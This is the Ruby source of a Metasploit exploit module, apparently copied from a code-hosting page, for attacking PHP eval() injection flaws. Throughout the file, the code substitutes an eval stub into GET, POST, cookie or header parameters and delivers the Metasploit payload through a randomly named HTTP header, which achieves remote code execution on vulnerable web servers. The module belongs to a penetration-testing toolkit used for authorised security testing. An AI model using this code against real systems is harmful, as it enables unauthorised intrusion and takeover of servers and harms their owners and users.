151 lines
4.9 KiB
Ruby
151 lines
4.9 KiB
Ruby
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Arachni Generic PHP Code eval() Exploit',
|
|
'Description' => %q{
|
|
This module allows complex HTTP requests to be crafted in order to
|
|
allow exploitation of PHP eval() vulnerabilities in Unix-like platforms.
|
|
|
|
Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
|
|
i.e. where the payload should go.
|
|
|
|
Supported vectors: GET, POST, COOKIE, HEADER.
|
|
(Mainly for use with the Arachni plug-in.)
|
|
},
|
|
'Author' => [
|
|
'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
|
|
'egypt' # original exploit: exploits/unix/webapp/php_eval.rb
|
|
],
|
|
'License' => BSD_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
['URL', 'http://github.com/Zapotek/arachni'],
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Payload' =>
|
|
{
|
|
# max header length for Apache,
|
|
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
|
|
'Space' => 8190,
|
|
# max url length for some old versions of apache according to
|
|
# http://www.boutell.com/newfaq/misc/urllength.html
|
|
#'Space' => 4000,
|
|
'DisableNops' => true,
|
|
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => 'find',
|
|
},
|
|
'Keys' => ['php'],
|
|
},
|
|
'Targets' => [ ['Automatic', { }], ],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options( [
|
|
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
|
|
OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
|
|
], self.class )
|
|
|
|
end
|
|
|
|
def check
|
|
uri = datastore['PATH'] ? datastore['PATH'].dup : ""
|
|
|
|
if( uri && ! uri.empty? )
|
|
|
|
uri.gsub!( /\?.*/, "" )
|
|
|
|
print_status( "Checking uri #{uri}" )
|
|
|
|
response = send_request_raw({ 'uri' => uri})
|
|
if response.code == 200
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
print_error( "Server responded with #{response.code}" )
|
|
return Exploit::CheckCode::Safe
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
headername = "X-" + Rex::Text.rand_text_alpha_upper( rand( 10 ) + 10 )
|
|
|
|
cookies = _sub_injection( datastore['COOKIES'].to_s, headername, ';' )
|
|
headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, headername, '::' ), '::' )
|
|
post = _str_to_hash( _sub_injection( datastore['POST'].to_s, headername ) )
|
|
get = _str_to_hash( _sub_injection( datastore['GET'].to_s, headername ) )
|
|
uri = datastore['PATH'].to_s
|
|
method = post.empty? ? 'GET' : 'POST'
|
|
|
|
if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
|
|
print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
|
|
# return
|
|
end
|
|
|
|
headers[headername] = payload.encoded
|
|
headers['Connection'] = 'close'
|
|
|
|
print_status( "Sending HTTP request for #{uri}" )
|
|
res = send_request_cgi( {
|
|
'global' => true,
|
|
'uri' => uri,
|
|
'method' => method,
|
|
'vars_get' => get,
|
|
'vars_post' => post,
|
|
'headers' => headers,
|
|
'cookie' => cookies
|
|
}, 0.01 )
|
|
|
|
handler
|
|
end
|
|
|
|
#
|
|
# Converts a URI styled query string into a key=>value hash
|
|
#
|
|
def _str_to_hash( str, sep = '&' )
|
|
hash = {}
|
|
str.split( sep ).map do |part|
|
|
splits = part.split( '=', 2 )
|
|
next if !splits[0] || !splits[1]
|
|
hash[splits[0]] = splits[1]
|
|
end
|
|
|
|
return hash
|
|
end
|
|
|
|
#
|
|
# Substitutes 'XXinjectionXX' in values of a URI styled query string with the
|
|
# payload
|
|
#
|
|
def _sub_injection( str, headername, sep = '&' )
|
|
|
|
stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
|
|
|
|
stub = URI.encode( stub, ';' ) if sep != '&'
|
|
|
|
return str.to_s.split( sep ).map do |var|
|
|
k,v = var.split( '=', 2 )
|
|
next if !v || !k
|
|
k + "=" + v.gsub( 'XXinjectionXX', stub )
|
|
end.reject do |i| !i end.join( sep )
|
|
end
|
|
|
|
end
|